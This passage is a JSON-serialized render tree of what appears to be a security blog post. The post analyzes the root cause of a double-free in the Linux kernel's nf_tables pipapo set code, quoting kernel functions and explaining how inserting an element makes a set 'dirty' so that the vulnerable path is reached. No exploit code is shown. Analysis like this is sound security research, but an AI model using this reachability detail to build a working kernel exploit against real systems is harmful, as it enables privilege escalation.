nft_set_pipapo_match_destroy",{"type":21,"tag":85,"props":51512,"children":51513},{"style":114},[51514],{"type":26,"value":1439},{"type":21,"tag":85,"props":51516,"children":51517},{"style":102},[51518],{"type":26,"value":10069},{"type":21,"tag":85,"props":51520,"children":51521},{"style":102},[51522],{"type":26,"value":21579},{"type":21,"tag":85,"props":51524,"children":51525},{"style":114},[51526],{"type":26,"value":51527}," nft_ctx ",{"type":21,"tag":85,"props":51529,"children":51530},{"style":169},[51531],{"type":26,"value":3052},{"type":21,"tag":85,"props":51533,"children":51534},{"style":120},[51535],{"type":26,"value":20708},{"type":21,"tag":85,"props":51537,"children":51538},{"style":114},[51539],{"type":26,"value":182},{"type":21,"tag":85,"props":51541,"children":51542},{"class":87,"line":98},[51543,51547,51551,51556,51560,51564],{"type":21,"tag":85,"props":51544,"children":51545},{"style":102},[51546],{"type":26,"value":31992},{"type":21,"tag":85,"props":51548,"children":51549},{"style":102},[51550],{"type":26,"value":21579},{"type":21,"tag":85,"props":51552,"children":51553},{"style":114},[51554],{"type":26,"value":51555}," nft_set ",{"type":21,"tag":85,"props":51557,"children":51558},{"style":169},[51559],{"type":26,"value":3052},{"type":21,"tag":85,"props":51561,"children":51562},{"style":120},[51563],{"type":26,"value":51475},{"type":21,"tag":85,"props":51565,"children":51566},{"style":114},[51567],{"type":26,"value":182},{"type":21,"tag":85,"props":51569,"children":51570},{"class":87,"line":151},[51571,51576,51581,51585,51590],{"type":21,"tag":85,"props":51572,"children":51573},{"style":102},[51574],{"type":26,"value":51575},"      struct",{"type":21,"tag":85,"props":51577,"children":51578},{"style":114},[51579],{"type":26,"value":51580}," nft_pipapo_match ",{"type":21,"tag":85,"props":51582,"children":51583},{"style":169},[51584],{"type":26,"value":3052},{"type":21,"tag":85,"props":51586,"children":51587},{"style":120},[51588],{"type":26,"value":51589},"m",{"type":21,"tag":85,"props":51591,"children":51592},{"style":114},[51593],{"type":26,"value":2485},{"type":21,"tag":85,"props":51595,"children":51596},{"class":87,"line":160},[51597],{"type":21,"tag":85,"props":51598,"children":51599},{"style":114},[51600],{"type":26,"value":11296},{"type":21,"tag":85,"props":51602,"children":51603},{"class":87,"line":185},[51604,51608,51613,51617],{"type":21,"tag":85,"props":51605,"children":51606},{"style":102},[51607],{"type":26,"value":21579},{"type":21,"tag":85,"props":51609,"children":51610},{"style":114},[51611],{"type":26,"value":51612}," nft_pipapo_field ",{"type":21,"tag":85,"props":51614,"children":51615},{"style":169},[51616],{"type":26,"value":3052},{"type":21,"tag":85,"props":51618,"children":51619},{"style":114},[51620],{"type":26,"value":51621},"f;\n",{"type":21,"tag":85,"props":51623,"children":51624},{"class":87,"line":501},[51625,51630],{"type":21,"tag":85,"props":51626,"children":51627},{"style":102},[51628],{"type":26,"value":51629}," int",{"type":21,"tag":85,"props":51631,"children":51632},{"style":114},[51633],{"type":26,"value":51634}," i, r;\n",{"type":21,"tag":85,"props":51636,"children":51637},{"class":87,"line":697},[51638],{"type":21,"tag":85,"props":51639,"children":51640},{"emptyLinePlaceholder":16},[51641],{"type":26,"value":703},{"type":21,"tag":85,"props":51643,"children":51644},{"class":87,"line":706},[51645,51650,51655,51659,51663,51668,51672,51677,51681,51685,51690,51694,51698,51702,51707,51712,51716,51721,51726,51731,51735],{"type":21,"tag":85,"props":51646,"children":51647},{"style":2885},[51648],{"type":26,"value":51649}," for",{"type":21,"tag":85,"props":51651,"children":51652},{"style":114},[51653],{"type":26,"value":51654}," (i ",{"type":21,"tag":85,"props":51656,"children":51657},{"style":169},[51658],{"type":26,"value":741},{"type":21,"tag":85,"props":51660,"children":51661},{"style":2285},[51662],{"type":26,"value":2830},{"type":21,"tag":85,"props":51664,"children":51665},{"style":114},[51666],{"type":26,"value":51667},", f ",{"type":21,"tag":85,"props":51669,"children":51670},{"style":169},[51671],{"type":26,"value":741},{"type":21,"tag":85,"props":51673,"children":51674},{"style":120},[51675],{"type":26,"value":51676}," m",{"type":21,"tag":85,"props":51678,"children":51679},{"style":114},[51680],{"type":26,"value":14175},{"type":21,"tag":85,"props":51682,"children":51683},{"style":120},[51684],{"type":26,"value":33531},{"type":21,"tag":85,"props":51686,"children":51687},{"style":114},[51688],{"type":26,"value":51689},"; i ",{"type":21,"tag":85,"props":51691,"children":51692},{"style":169},[51693],{"type":26,"value":117},{"type":21,"tag":85,"props":51695,"children":51696},{"style":120},[51697],{"type":26,"value":51676},{"type":21,"tag":85,"props":51699,"children":51700},{"style":114},[51701],{"type":26,"value":14175},{"type":21,"tag":85,"props":51703,"children":51704},{"style":120},[51705],{"type":26,"value":51706},"field_count",{"type":21,"tag":85,"props":51708,"children":51709},{"style":169},[51710],{"type":26,"value":51711}," -",{"type":21,"tag":85,"props":51713,"children":51714},{"style":2285},[51715],{"type":26,"value":3279},{"type":21,"tag":85,"props":51717,"children":51718},{"style":114},[51719],{"type":26,"value":51720},"; i",{"type":21,"tag":85,"props":51722,"children":51723},{"style":169},[51724],{"type":26,"value":51725},"++",{"type":21,"tag":85,"props":51727,"children":51728},{"style":114},[51729],{"type":26,"value":51730},", f",{"type":21,"tag":85,"props":51732,"children":51733},{"style":169},[51734],{"type":26,"value":51725},{"type":21,"tag":85,"props":51736,"children":51737},{"style":114},[51738],{"type":26,"value":2485},{"type":21,"tag":85,"props":51740,"children":51741},{"class":87,"line":1100},[51742],{"type":21,"tag":85,"props":51743,"children":51744},{"style":114},[51745],{"type":26,"value":51746},"  ;\n",{"type":21,"tag":85,"props":51748,"children":51749},{"class":87,"line":1339},[51750],{"type":21,"tag":85,"props":51751,"children":51752},{"emptyLinePlaceholder":16},[51753],{"type":26,"value":703},{"type":21,"tag":85,"props":51755,"children":51756},{"class":87,"line":1348},[51757,51761,51766,51770,51774,51779,51783,51787,51791,51796,51801,51805],{"type":21,"tag":85,"props":51758,"children":51759},{"style":2885},[51760],{"type":26,"value":51649},{"type":21,"tag":85,"props":51762,"children":51763},{"style":114},[51764],{"type":26,"value":51765}," (r ",{"type":21,"tag":85,"props":51767,"children":51768},{"style":169},[51769],{"type":26,"value":741},{"type":21,"tag":85,"props":51771,"children":51772},{"style":2285},[51773],{"type":26,"value":2830},{"type":21,"tag":85,"props":51775,"children":51776},{"style":114},[51777],{"type":26,"value":51778},"; r ",{"type":21,"tag":85,"props":51780,"children":51781},{"style":169},[51782],{"type":26,"value":117},{"type":21,"tag":85,"props":51784,"children":51785},{"style":120},[51786],{"type":26,"value":33417},{"type":21,"tag":85,"props":51788,"children":51789},{"style":114},[51790],{"type":26,"value":14175},{"type":21,"tag":85,"props":51792,"children":51793},{"style":120},[51794],{"type":26,"value":51795},"rules",{"type":21,"tag":85,"props":51797,"children":51798},{"style":114},[51799],{"type":26,"value":51800},"; r",{"type":21,"tag":85,"props":51802,"children":51803},{"style":169},[51804],{"type":26,"value":51725},{"type":21,"tag":85,"props":51806,"children":51807},{"style":114},[51808],{"type":26,"value":15222},{"type":21,"tag":85,"props":51810,"children":51811},{"class":87,"line":1386},[51812,51816,51821,51825],{"type":21,"tag":85,"props":51813,"children":51814},{"style":102},[51815],{"type":26,"value":105},{"type":21,"tag":85,"props":51817,"children":51818},{"style":114},[51819],{"type":26,"value":51820}," nft_pipapo_elem ",{"type":21,"tag":85,"props":51822,"children":51823},{"style":169},[51824],{"type":26,"value":3052},{"type":21,"tag":85,"props":51826,"children":51827},{"style":114},[51828],{"type":26,"value":51829},"e;\n",{"type":21,"tag":85,"props":51831,"children":51832},{"class":87,"line":1394},[51833],{"type":21,"tag":85,"props":51834,"children":51835},{"emptyLinePlaceholder":16},[51836],{"type":26,"value":703},{"type":21,"tag":85,"props":51838,"children":51839},{"class":87,"line":1402},[51840,51844,51848,51852,51856,51860,51864,51868,51872,51876,51880,51884,51889,51894,51898,51902,51906,51911,51915,51919,51923,51927,51932,51936],{"type":21,"tag":85,"props":51841,"children":51842},{"style":2885},[51843],{"type":26,"value":31839},{"type":21,"tag":85,"props":51845,"children":51846},{"style":114},[51847],{"type":26,"value":51765},{"type":21,"tag":85,"props":51849,"children":51850},{"style":169},[51851],{"type":26,"value":117},{"type":21,"tag":85,"props":51853,"children":51854},{"style":120},[51855],{"type":26,"value":33417},{"type":21,"tag":85,"props":51857,"children":51858},{"style":114},[51859],{"type":26,"value":14175},{"type":21,"tag":85,"props":51861,"children":51862},{"style":120},[51863],{"type":26,"value":51795},{"type":21,"tag":85,"props":51865,"children":51866},{"style":169},[51867],{"type":26,"value":51711},{"type":21,"tag":85,"props":51869,"children":51870},{"style":2285},[51871],{"type":26,"value":3279},{"type":21,"tag":85,"props":51873,"children":51874},{"style":169},[51875],{"type":26,"value":14603},{"type":21,"tag":85,"props":51877,"children":51878},{"style":120},[51879],{"type":26,"value":33417},{"type":21,"tag":85,"props":51881,"children":51882},{"style":114},[51883],{"type":26,"value":14175},{"type":21,"tag":85,"props":51885,"children":51886},{"style":120},[51887],{"type":26,"value":51888},"mt",{"type":21,"tag":85,"props":51890,"children":51891},{"style":114},[51892],{"type":26,"value":51893},"[r ",{"type":21,"tag":85,"props":51895,"children":51896},{"style":169},[51897],{"type":26,"value":5151},{"type":21,"tag":85,"props":51899,"children":51900},{"style":2285},[51901],{"type":26,"value":3279},{"type":21,"tag":85,"props":51903,"children":51904},{"style":114},[51905],{"type":26,"value":50804},{"type":21,"tag":85,"props":51907,"children":51908},{"style":120},[51909],{"type":26,"value":51910},"e",{"type":21,"tag":85,"props":51912,"children":51913},{"style":169},[51914],{"type":26,"value":2282},{"type":21,"tag":85,"props":51916,"children":51917},{"style":120},[51918],{"type":26,"value":33417},{"type":21,"tag":85,"props":51920,"children":51921},{"style":114},[51922],{"type":26,"value":14175},{"type":21,"tag":85,"props":51924,"children":51925},{"style":120},[51926],{"type":26,"value":51888},{"type":21,"tag":85,"props":51928,"children":51929},{"style":114},[51930],{"type":26,"value":51931},"[r].",{"type":21,"tag":85,"props":51933,"children":51934},{"style":120},[51935],{"type":26,"value":51910},{"type":21,"tag":85,"props":51937,"children":51938},{"style":114},[51939],{"type":26,"value":2485},{"type":21,"tag":85,"props":51941,"children":51942},{"class":87,"line":3145},[51943,51948],{"type":21,"tag":85,"props":51944,"children":51945},{"style":2885},[51946],{"type":26,"value":51947},"   continue",{"type":21,"tag":85,"props":51949,"children":51950},{"style":114},[51951],{"type":26,"value":2535},{"type":21,"tag":85,"props":51953,"children":51954},{"class":87,"line":3246},[51955],{"type":21,"tag":85,"props":51956,"children":51957},{"emptyLinePlaceholder":16},[51958],{"type":26,"value":703},{"type":21,"tag":85,"props":51960,"children":51961},{"class":87,"line":3255},[51962,51967,51971,51975,51979,51983,51987,51991],{"type":21,"tag":85,"props":51963,"children":51964},{"style":114},[51965],{"type":26,"value":51966},"  e ",{"type":21,"tag":85,"props":51968,"children":51969},{"style":169},[51970],{"type":26,"value":741},{"type":21,"tag":85,"props":51972,"children":51973},{"style":120},[51974],{"type":26,"value":33417},{"type":21,"tag":85,"props":51976,"children":51977},{"style":114},[51978],{"type":26,"value":14175},{"type":21,"tag":85,"props":51980,"children":51981},{"style":120},[51982],{"type":26,"value":51888},{"type":21,"tag":85,"props":51984,"children":51985},{"style":114},[51986],{"type":26,"value":51931},{"type":21,"tag":85,"props":51988,"children":51989},{"style":120},[51990],{"type":26,"value":51910},{"type":21,"tag":85,"props":51992,"children":51993},{"style":114},[51994],{"type":26,"value":2535},{"type":21,"tag":85,"props":51996,"children":51997},{"class":87,"line":3286},[51998],{"type":21,"tag":85,"props":51999,"children":52000},{"emptyLinePlaceholder":16},[52001],{"type":26,"value":703},{"type":21,"tag":85,"props":52003,"children":52004},{"class":87,"line":3295},[52005,52010,52015,52019,52023,52027,52032],{"type":21,"tag":85,"props":52006,"children":52007},{"style":1021},[52008],{"type":26,"value":52009},"  nf_tables_set_elem_destroy",{"type":21,"tag":85,"props":52011,"children":52012},{"style":114},[52013],{"type":26,"value":52014},"(ctx, set, ",{"type":21,"tag":85,"props":52016,"children":52017},{"style":169},[52018],{"type":26,"value":2238},{"type":21,"tag":85,"props":52020,"children":52021},{"style":120},[52022],{"type":26,"value":51910},{"type":21,"tag":85,"props":52024,"children":52025},{"style":114},[52026],{"type":26,"value":14175},{"type":21,"tag":85,"props":52028,"children":52029},{"style":120},[52030],{"type":26,"value":52031},"priv",{"type":21,"tag":85,"props":52033,"children":52034},{"style":114},[52035],{"type":26,"value":777},{"type":21,"tag":85,"props":52037,"children":52038},{"class":87,"line":3308},[52039],{"type":21,"tag":85,"props":52040,"children":52041},{"style":114},[52042],{"type":26,"value":10009},{"type":21,"tag":85,"props":52044,"children":52045},{"class":87,"line":3333},[52046],{"type":21,"tag":85,"props":52047,"children":52048},{"style":114},[52049],{"type":26,"value":2671},{"type":21,"tag":22,"props":52051,"children":52052},{},[52053,52055,52061,52063,52068],{"type":26,"value":52054},"Which will then ",{"type":21,"tag":66,"props":52056,"children":52058},{"className":52057},[],[52059],{"type":26,"value":52060},"kfree()",{"type":26,"value":52062}," the ",{"type":21,"tag":66,"props":52064,"children":52066},{"className":52065},[],[52067],{"type":26,"value":51467},{"type":26,"value":73},{"type":21,"tag":75,"props":52070,"children":52072},{"className":16935,"code":52071,"language":3918,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[52073],{"type":21,"tag":66,"props":52074,"children":52075},{"__ignoreMap":7},[52076,52117,52145,52174,52181,52216,52223,52244,52267,52274,52287],{"type":21,"tag":85,"props":52077,"children":52078},{"class":87,"line":88},[52079,52084,52089,52093,52097,52101,52105,52109,52113],{"type":21,"tag":85,"props":52080,"children":52081},{"style":102},[52082],{"type":26,"value":52083},"void",{"type":21,"tag":85,"props":52085,"children":52086},{"style":1021},[52087],{"type":26,"value":52088}," nf_tables_set_elem_destroy",{"type":21,"tag":85,"props":52090,"children":52091},{"style":114},[52092],{"type":26,"value":1439},{"type":21,"tag":85,"props":52094,"children":52095},{"style":102},[52096],{"type":26,"value":10069},{"type":21,"tag":85,"props":52098,"children":52099},{"style":102},[52100],{"type":26,"value":21579},{"type":21,"tag":85,"props":52102,"children":52103},{"style":114},[52104],{"type":26,"value":51527},{"type":21,"tag":85,"props":52106,"children":52107},{"style":169},[52108],{"type":26,"value":3052},{"type":21,"tag":85,"props":52110,"children":52111},{"style":120},[52112],{"type":26,"value":20708},{"type":21,"tag":85,"props":52114,"children":52115},{"style":114},[52116],{"type":26,"value":182},{"type":21,"tag":85,"props":52118,"children":52119},{"class":87,"line":98},[52120,52125,52129,52133,52137,52141],{"type":21,"tag":85,"props":52121,"children":52122},{"style":102},[52123],{"type":26,"value":52124},"    const",{"type":21,"tag":85,"props":52126,"children":52127},{"style":102},[52128],{"type":26,"value":21579},{"type":21,"tag":85,"props":52130,"children":52131},{"style":114},[52132],{"type":26,"value":51555},{"type":21,"tag":85,"props":52134,"children":52135},{"style":169},[52136],{"type":26,"value":3052},{"type":21,"tag":85,"props":52138,"children":52139},{"style":120},[52140],{"type":26,"value":51475},{"type":21,"tag":85,"props":52142,"children":52143},{"style":114},[52144],{"type":26,"value":182},{"type":21,"tag":85,"props":52146,"children":52147},{"class":87,"line":151},[52148,52152,52156,52161,52165,52170],{"type":21,"tag":85,"props":52149,"children":52150},{"style":102},[52151],{"type":26,"value":52124},{"type":21,"tag":85,"props":52153,"children":52154},{"style":102},[52155],{"type":26,"value":21579},{"type":21,"tag":85,"props":52157,"children":52158},{"style":114},[52159],{"type":26,"value":52160}," nft_elem_priv ",{"type":21,"tag":85,"props":52162,"children":52163},{"style":169},[52164],{"type":26,"value":3052},{"type":21,"tag":85,"props":52166,"children":52167},{"style":120},[52168],{"type":26,"value":52169},"elem_priv",{"type":21,"tag":85,"props":52171,"children":52172},{"style":114},[52173],{"type":26,"value":2485},{"type":21,"tag":85,"props":52175,"children":52176},{"class":87,"line":160},[52177],{"type":21,"tag":85,"props":52178,"children":52179},{"style":114},[52180],{"type":26,"value":11296},{"type":21,"tag":85,"props":52182,"children":52183},{"class":87,"line":185},[52184,52188,52193,52197,52202,52206,52211],{"type":21,"tag":85,"props":52185,"children":52186},{"style":102},[52187],{"type":26,"value":21579},{"type":21,"tag":85,"props":52189,"children":52190},{"style":114},[52191],{"type":26,"value":52192}," nft_set_ext ",{"type":21,"tag":85,"props":52194,"children":52195},{"style":169},[52196],{"type":26,"value":3052},{"type":21,"tag":85,"props":52198,"children":52199},{"style":114},[52200],{"type":26,"value":52201},"ext ",{"type":21,"tag":85,"props":52203,"children":52204},{"style":169},[52205],{"type":26,"value":741},{"type":21,"tag":85,"props":52207,"children":52208},{"style":1021},[52209],{"type":26,"value":52210}," nft_set_elem_ext",{"type":21,"tag":85,"props":52212,"children":52213},{"style":114},[52214],{"type":26,"value":52215},"(set, elem_priv);\n",{"type":21,"tag":85,"props":52217,"children":52218},{"class":87,"line":501},[52219],{"type":21,"tag":85,"props":52220,"children":52221},{"emptyLinePlaceholder":16},[52222],{"type":26,"value":703},{"type":21,"tag":85,"props":52224,"children":52225},{"class":87,"line":697},[52226,52230,52234,52239],{"type":21,"tag":85,"props":52227,"children":52228},{"style":2885},[52229],{"type":26,"value":16208},{"type":21,"tag":85,"props":52231,"children":52232},{"style":114},[52233],{"type":26,"value":717},{"type":21,"tag":85,"props":52235,"children":52236},{"style":1021},[52237],{"type":26,"value":52238},"nft_set_ext_exists",{"type":21,"tag":85,"props":52240,"children":52241},{"style":114},[52242],{"type":26,"value":52243},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":21,"tag":85,"props":52245,"children":52246},{"class":87,"line":706},[52247,52252,52257,52262],{"type":21,"tag":85,"props":52248,"children":52249},{"style":1021},[52250],{"type":26,"value":52251},"  nft_set_elem_expr_destroy",{"type":21,"tag":85,"props":52253,"children":52254},{"style":114},[52255],{"type":26,"value":52256},"(ctx, ",{"type":21,"tag":85,"props":52258,"children":52259},{"style":1021},[52260],{"type":26,"value":52261},"nft_set_ext_expr",{"type":21,"tag":85,"props":52263,"children":52264},{"style":114},[52265],{"type":26,"value":52266},"(ext));\n",{"type":21,"tag":85,"props":52268,"children":52269},{"class":87,"line":1100},[52270],{"type":21,"tag":85,"props":52271,"children":52272},{"emptyLinePlaceholder":16},[52273],{"type":26,"value":703},{"type":21,"tag":85,"props":52275,"children":52276},{"class":87,"line":1339},[52277,52282],{"type":21,"tag":85,"props":52278,"children":52279},{"style":1021},[52280],{"type":26,"value":52281}," kfree",{"type":21,"tag":85,"props":52283,"children":52284},{"style":114},[52285],{"type":26,"value":52286},"(elem_priv);\n",{"type":21,"tag":85,"props":52288,"children":52289},{"class":87,"line":1348},[52290],{"type":21,"tag":85,"props":52291,"children":52292},{"style":114},[52293],{"type":26,"value":2671},{"type":21,"tag":22,"props":52295,"children":52296},{},[52297,52298,52304,52306,52311,52313,52318,52320,52325,52326,52331,52333,52338,52340,52345,52347,52352],{"type":26,"value":17034},{"type":21,"tag":66,"props":52299,"children":52301},{"className":52300},[],[52302],{"type":26,"value":52303},"nft_pipapo_match",{"type":26,"value":52305}," objects contain views of the ",{"type":21,"tag":66,"props":52307,"children":52309},{"className":52308},[],[52310],{"type":26,"value":51467},{"type":26,"value":52312},"'s of a ",{"type":21,"tag":66,"props":52314,"children":52316},{"className":52315},[],[52317],{"type":26,"value":51475},{"type":26,"value":52319},". The difference between the ",{"type":21,"tag":66,"props":52321,"children":52323},{"className":52322},[],[52324],{"type":26,"value":51452},{"type":26,"value":11408},{"type":21,"tag":66,"props":52327,"children":52329},{"className":52328},[],[52330],{"type":26,"value":51436},{"type":26,"value":52332}," match objects is that the clone has a view of not only already committed ",{"type":21,"tag":66,"props":52334,"children":52336},{"className":52335},[],[52337],{"type":26,"value":51467},{"type":26,"value":52339},"'s that the \"normal\" one has but also a view of the ",{"type":21,"tag":66,"props":52341,"children":52343},{"className":52342},[],[52344],{"type":26,"value":51467},{"type":26,"value":52346},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":21,"tag":66,"props":52348,"children":52350},{"className":52349},[],[52351],{"type":26,"value":51452},{"type":26,"value":73},{"type":21,"tag":10022,"props":52354,"children":52356},{"id":52355},"root-cause-analysis",[52357],{"type":26,"value":52358},"Root-cause analysis",{"type":21,"tag":22,"props":52360,"children":52361},{},[52362,52364,52370,52372,52377],{"type":26,"value":52363},"So ",{"type":21,"tag":66,"props":52365,"children":52367},{"className":52366},[],[52368],{"type":26,"value":52369},"nf_tables_set_elem_destroy",{"type":26,"value":52371}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":21,"tag":66,"props":52373,"children":52375},{"className":52374},[],[52376],{"type":26,"value":51467},{"type":26,"value":52378},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":21,"tag":22,"props":52380,"children":52381},{},[52382,52384,52389,52391,52396,52398,52403,52405,52410,52412,52417],{"type":26,"value":52383},"We should now try to understand how to reach that path with the ",{"type":21,"tag":66,"props":52385,"children":52387},{"className":52386},[],[52388],{"type":26,"value":51429},{"type":26,"value":52390}," flag set, which is a member of the private data of a pipapo ",{"type":21,"tag":66,"props":52392,"children":52394},{"className":52393},[],[52395],{"type":26,"value":51467},{"type":26,"value":52397}," that becomes true whenever a change is made to the ",{"type":21,"tag":66,"props":52399,"children":52401},{"className":52400},[],[52402],{"type":26,"value":51475},{"type":26,"value":52404}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":21,"tag":66,"props":52406,"children":52408},{"className":52407},[],[52409],{"type":26,"value":51475},{"type":26,"value":52411}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":21,"tag":66,"props":52413,"children":52415},{"className":52414},[],[52416],{"type":26,"value":51475},{"type":26,"value":52418}," dirty by inserting a new element.",{"type":21,"tag":75,"props":52420,"children":52422},{"className":16935,"code":52421,"language":3918,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[52423],{"type":21,"tag":66,"props":52424,"children":52425},{"__ignoreMap":7},[52426,52496,52525,52550,52557,52564,52593,52600],{"type":21,"tag":85,"props":52427,"children":52428},{"class":87,"line":88},[52429,52433,52437,52442,52446,52450,52454,52459,52463,52468,52472,52476,52480,52484,52488,52492],{"type":21,"tag":85,"props":52430,"children":52431},{"style":102},[52432],{"type":26,"value":51500},{"type":21,"tag":85,"props":52434,"children":52435},{"style":102},[52436],{"type":26,"value":51629},{"type":21,"tag":85,"props":52438,"children":52439},{"style":1021},[52440],{"type":26,"value":52441}," nft_pipapo_insert",{"type":21,"tag":85,"props":52443,"children":52444},{"style":114},[52445],{"type":26,"value":1439},{"type":21,"tag":85,"props":52447,"children":52448},{"style":102},[52449],{"type":26,"value":10069},{"type":21,"tag":85,"props":52451,"children":52452},{"style":102},[52453],{"type":26,"value":21579},{"type":21,"tag":85,"props":52455,"children":52456},{"style":114},[52457],{"type":26,"value":52458}," net ",{"type":21,"tag":85,"props":52460,"children":52461},{"style":169},[52462],{"type":26,"value":3052},{"type":21,"tag":85,"props":52464,"children":52465},{"style":120},[52466],{"type":26,"value":52467},"net",{"type":21,"tag":85,"props":52469,"children":52470},{"style":114},[52471],{"type":26,"value":256},{"type":21,"tag":85,"props":52473,"children":52474},{"style":102},[52475],{"type":26,"value":10069},{"type":21,"tag":85,"props":52477,"children":52478},{"style":102},[52479],{"type":26,"value":21579},{"type":21,"tag":85,"props":52481,"children":52482},{"style":114},[52483],{"type":26,"value":51555},{"type":21,"tag":85,"props":52485,"children":52486},{"style":169},[52487],{"type":26,"value":3052},{"type":21,"tag":85,"props":52489,"children":52490},{"style":120},[52491],{"type":26,"value":51475},{"type":21,"tag":85,"props":52493,"children":52494},{"style":114},[52495],{"type":26,"value":182},{"type":21,"tag":85,"props":52497,"children":52498},{"class":87,"line":98},[52499,52503,52507,52512,52516,52521],{"type":21,"tag":85,"props":52500,"children":52501},{"style":102},[52502],{"type":26,"value":33347},{"type":21,"tag":85,"props":52504,"children":52505},{"style":102},[52506],{"type":26,"value":21579},{"type":21,"tag":85,"props":52508,"children":52509},{"style":114},[52510],{"type":26,"value":52511}," nft_set_elem ",{"type":21,"tag":85,"props":52513,"children":52514},{"style":169},[52515],{"type":26,"value":3052},{"type":21,"tag":85,"props":52517,"children":52518},{"style":120},[52519],{"type":26,"value":52520},"elem",{"type":21,"tag":85,"props":52522,"children":52523},{"style":114},[52524],{"type":26,"value":182},{"type":21,"tag":85,"props":52526,"children":52527},{"class":87,"line":151},[52528,52533,52537,52542,52546],{"type":21,"tag":85,"props":52529,"children":52530},{"style":102},[52531],{"type":26,"value":52532},"        struct",{"type":21,"tag":85,"props":52534,"children":52535},{"style":114},[52536],{"type":26,"value":52160},{"type":21,"tag":85,"props":52538,"children":52539},{"style":169},[52540],{"type":26,"value":52541},"**",{"type":21,"tag":85,"props":52543,"children":52544},{"style":120},[52545],{"type":26,"value":52169},{"type":21,"tag":85,"props":52547,"children":52548},{"style":114},[52549],{"type":26,"value":2485},{"type":21,"tag":85,"props":52551,"children":52552},{"class":87,"line":160},[52553],{"type":21,"tag":85,"props":52554,"children":52555},{"style":114},[52556],{"type":26,"value":11296},{"type":21,"tag":85,"props":52558,"children":52559},{"class":87,"line":185},[52560],{"type":21,"tag":85,"props":52561,"children":52562},{"style":114},[52563],{"type":26,"value":10733},{"type":21,"tag":85,"props":52565,"children":52566},{"class":87,"line":501},[52567,52572,52576,52581,52585,52589],{"type":21,"tag":85,"props":52568,"children":52569},{"style":120},[52570],{"type":26,"value":52571}," priv",{"type":21,"tag":85,"props":52573,"children":52574},{"style":114},[52575],{"type":26,"value":14175},{"type":21,"tag":85,"props":52577,"children":52578},{"style":120},[52579],{"type":26,"value":52580},"dirty",{"type":21,"tag":85,"props":52582,"children":52583},{"style":169},[52584],{"type":26,"value":1941},{"type":21,"tag":85,"props":52586,"children":52587},{"style":102},[52588],{"type":26,"value":12886},{"type":21,"tag":85,"props":52590,"children":52591},{"style":114},[52592],{"type":26,"value":2535},{"type":21,"tag":85,"props":52594,"children":52595},{"class":87,"line":697},[52596],{"type":21,"tag":85,"props":52597,"children":52598},{"style":114},[52599],{"type":26,"value":10733},{"type":21,"tag":85,"props":52601,"children":52602},{"class":87,"line":706},[52603],{"type":21,"tag":85,"props":52604,"children":52605},{"style":114},[52606],{"type":26,"value":2671},{"type":21,"tag":22,"props":52608,"children":52609},{},[52610],{"type":26,"value":52611},"We also see that when the changes are commited, this flag is then unset.",{"type":21,"tag":75,"props":52613,"children":52615},{"className":16935,"code":52614,"language":3918,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[52616],{"type":21,"tag":66,"props":52617,"children":52618},{"__ignoreMap":7},[52619,52659,52666,52673,52704,52715,52722,52749,52756],{"type":21,"tag":85,"props":52620,"children":52621},{"class":87,"line":88},[52622,52626,52630,52635,52639,52643,52647,52651,52655],{"type":21,"tag":85,"props":52623,"children":52624},{"style":102},[52625],{"type":26,"value":51500},{"type":21,"tag":85,"props":52627,"children":52628},{"style":102},[52629],{"type":26,"value":51505},{"type":21,"tag":85,"props":52631,"children":52632},{"style":1021},[52633],{"type":26,"value":52634}," nft_pipapo_commit",{"type":21,"tag":85,"props":52636,"children":52637},{"style":114},[52638],{"type":26,"value":1439},{"type":21,"tag":85,"props":52640,"children":52641},{"style":102},[52642],{"type":26,"value":9814},{"type":21,"tag":85,"props":52644,"children":52645},{"style":114},[52646],{"type":26,"value":51555},{"type":21,"tag":85,"props":52648,"children":52649},{"style":169},[52650],{"type":26,"value":3052},{"type":21,"tag":85,"props":52652,"children":52653},{"style":120},[52654],{"type":26,"value":51475},{"type":21,"tag":85,"props":52656,"children":52657},{"style":114},[52658],{"type":26,"value":2485},{"type":21,"tag":85,"props":52660,"children":52661},{"class":87,"line":98},[52662],{"type":21,"tag":85,"props":52663,"children":52664},{"style":114},[52665],{"type":26,"value":11296},{"type":21,"tag":85,"props":52667,"children":52668},{"class":87,"line":151},[52669],{"type":21,"tag":85,"props":52670,"children":52671},{"style":114},[52672],{"type":26,"value":10733},{"type":21,"tag":85,"props":52674,"children":52675},{"class":87,"line":160},[52676,52680,52684,52688,52692,52696,52700],{"type":21,"tag":85,"props":52677,"children":52678},{"style":2885},[52679],{"type":26,"value":16208},{"type":21,"tag":85,"props":52681,"children":52682},{"style":114},[52683],{"type":26,"value":717},{"type":21,"tag":85,"props":52685,"children":52686},{"style":169},[52687],{"type":26,"value":21049},{"type":21,"tag":85,"props":52689,"children":52690},{"style":120},[52691],{"type":26,"value":52031},{"type":21,"tag":85,"props":52693,"children":52694},{"style":114},[52695],{"type":26,"value":14175},{"type":21,"tag":85,"props":52697,"children":52698},{"style":120},[52699],{"type":26,"value":52580},{"type":21,"tag":85,"props":52701,"children":52702},{"style":114},[52703],{"type":26,"value":2485},{"type":21,"tag":85,"props":52705,"children":52706},{"class":87,"line":185},[52707,52711],{"type":21,"tag":85,"props":52708,"children":52709},{"style":2885},[52710],{"type":26,"value":39647},{"type":21,"tag":85,"props":52712,"children":52713},{"style":114},[52714],{"type":26,"value":2535},{"type":21,"tag":85,"props":52716,"children":52717},{"class":87,"lin